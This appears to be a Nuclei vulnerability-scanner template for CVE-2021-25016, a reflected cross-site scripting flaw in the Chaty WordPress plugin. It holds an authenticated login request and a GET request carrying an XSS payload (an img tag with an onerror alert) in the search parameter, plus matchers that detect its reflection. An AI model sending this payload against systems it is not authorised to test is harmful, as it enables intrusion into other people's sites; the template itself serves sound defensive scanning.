63 lines
2.0 KiB
YAML
63 lines
2.0 KiB
YAML
id: CVE-2021-25016
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info:
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name: Chaty < 2.8.2 - Cross-Site Scripting
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author: luisfelipe146
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severity: medium
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description: |
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The Chaty WordPress plugin before 2.8.3 and Chaty Pro WordPress plugin before 2.8.2 do not sanitise and escape the search parameter before outputting it back in the admin dashboard, leading to a Reflected Cross-Site Scripting.
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remediation: Fixed in 2.8.3
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reference:
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- https://wpscan.com/vulnerability/b5035987-6227-4fc6-bc45-1e8016e5c4c0
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- https://nvd.nist.gov/vuln/detail/CVE-2021-25016
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- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-25016
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
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cvss-score: 6.1
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cve-id: CVE-2021-25016
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cwe-id: CWE-79
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epss-score: 0.00106
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epss-percentile: 0.43069
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cpe: cpe:2.3:a:premio:chaty:*:*:*:*:*:wordpress:*:*
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metadata:
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verified: true
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max-request: 2
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vendor: premio
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product: chaty
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framework: wordpress
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publicwww-query: "/wp-content/plugins/chaty/"
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tags: wpscan,cve,cve2021,wordpress,wp-plugin,xss,authenticated,chaty
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http:
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- raw:
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- |
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POST /wp-login.php HTTP/1.1
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Host: {{Hostname}}
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Content-Type: application/x-www-form-urlencoded
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log={{username}}&pwd={{password}}&wp-submit=Log+In
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- |
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GET /wp-admin/admin.php?page=chaty-contact-form-feed&search=%3C%2Fscript%3E%3Cimg+src+onerror%3Dalert%28document.domain%29%3E HTTP/1.1
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Host: {{Hostname}}
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cookie-reuse: true
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matchers-condition: and
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matchers:
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- type: word
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part: body
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words:
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- "search=</script><img src onerror=alert(document.domain)>"
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- "chaty_page_chaty"
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condition: and
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- type: word
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part: header
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words:
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- text/html
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- type: status
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status:
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- 200
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# digest: 4a0a00473045022031017bba9b57ad89b2bd6f0e7575cbf8ff291a8182f4fda64f6faf4f94f182e5022100cf6ce13b18fc49cd58bd2a99a1712119cc457288434c34f4e1fc9c4426855f13:922c64590222798bb761d5b6d8e72950
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